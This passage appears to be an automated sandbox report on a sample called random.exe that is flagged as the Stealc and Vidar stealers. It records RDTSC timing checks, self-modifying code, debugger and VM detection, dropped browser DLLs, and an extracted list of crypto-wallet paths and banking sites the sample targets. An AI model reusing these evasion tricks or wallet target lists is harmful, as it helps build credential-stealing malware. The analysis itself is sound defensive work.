Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501049A second address: 50104FB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8A48B4BD79h 0x00000008 or ch, FFFFFFD6h 0x0000000b jmp 00007F8A48B4BD71h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 movzx eax, bx 0x00000017 mov dh, ACh 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007F8A48B4BD75h 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8A48B4BD6Dh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50104FB second address: 501050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A48DE77CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501050B second address: 5010535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e call 00007F8A48B4BD74h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010535 second address: 501053E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 mov esi, edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501053E second address: 5010563 instructions: 0x00000000 rdtsc 0x00000002 mov dx, 4C7Eh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8A48B4BD77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010563 second address: 5010569 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50106C7 second address: 50106CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50106CD second address: 501070D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f jmp 00007F8A48DE77D6h 0x00000014 mov edx, dword ptr [ebp+0Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov di, B550h 0x0000001e mov eax, ebx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50107C9 second address: 50107CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50107CF second address: 50107F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8A48DE77D0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50107F7 second address: 50107FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50107FD second address: 5010803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010803 second address: 5010807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010807 second address: 5010867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 pushad 0x0000000a mov cx, 06A1h 0x0000000e mov dx, si 0x00000011 popad 0x00000012 test al, al 0x00000014 jmp 00007F8A48DE77D8h 0x00000019 jne 00007F8AB9FFFA12h 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F8A48DE77CEh 0x00000026 adc eax, 016E4498h 0x0000002c jmp 00007F8A48DE77CBh 0x00000031 popfd 0x00000032 movzx eax, dx 0x00000035 popad 0x00000036 mov ecx, edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010867 second address: 501086D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501086D second address: 5010883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A48DE77D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010883 second address: 5010887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010887 second address: 5010898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010898 second address: 501089C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501089C second address: 50108A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50108A0 second address: 50108A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50108A6 second address: 50108EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 pushad 0x00000014 mov cl, 4Ch 0x00000016 mov si, dx 0x00000019 popad 0x0000001a mov ecx, edx 0x0000001c jmp 00007F8A48DE77D3h 0x00000021 and ecx, 03h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8A48DE77D0h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50108EA second address: 50108F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50108F9 second address: 5010911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A48DE77D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010911 second address: 5010927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsb 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8A48B4BD6Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010927 second address: 5010943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010943 second address: 5010947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010947 second address: 501094D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501094D second address: 5010953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010953 second address: 5010957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010957 second address: 5010966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov edx, esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010966 second address: 501096A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010B19 second address: 5010B72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F8A48B4BD70h 0x00000010 push eax 0x00000011 pushad 0x00000012 mov ebx, 56C50394h 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, 9CD7h 0x00000022 pushfd 0x00000023 jmp 00007F8A48B4BD6Ch 0x00000028 or cx, D348h 0x0000002d jmp 00007F8A48B4BD6Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 4FB944 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 4F9FE4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 586B07 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\random.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\random.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\random.exe TID: 5280	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 4420	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 3520	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C8DC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C8DC930

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: FBFIJJEB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: random.exe, random.exe, 00000000.00000002.2561518432.00000000004DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FBFIJJEB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: FBFIJJEB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: FBFIJJEB.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: FBFIJJEB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: FBFIJJEB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FBFIJJEB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: FBFIJJEB.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: FBFIJJEB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: FBFIJJEB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: FBFIJJEB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: FBFIJJEB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: FBFIJJEB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: FBFIJJEB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: FBFIJJEB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: FBFIJJEB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: random.exe, 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FBFIJJEB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: FBFIJJEB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: FBFIJJEB.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: FBFIJJEB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: FBFIJJEB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: FBFIJJEB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: random.exe, 00000000.00000002.2561518432.00000000004DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FBFIJJEB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: FBFIJJEB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\random.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\random.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\random.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\random.exe	File opened: NTICE
Source: C:\Users\user\Desktop\random.exe	File opened: SICE
Source: C:\Users\user\Desktop\random.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C925FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C925FF0

Source: C:\Users\user\Desktop\random.exe

0_2_6C8C3480

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C8FB66C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C8FB1F7

Source: C:\Users\user\Desktop\random.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: random.exe PID: 3568, type: MEMORYSTR

Source: random.exe, random.exe, 00000000.00000002.2561518432.00000000004DB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: RProgram Manager

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C8FB341 cpuid

0_2_6C8FB341

Source: C:\Users\user\Desktop\random.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C8C35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C8C35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2561302948.0000000000101000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2149142454.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random.exe PID: 3568, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: random.exe PID: 3568, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
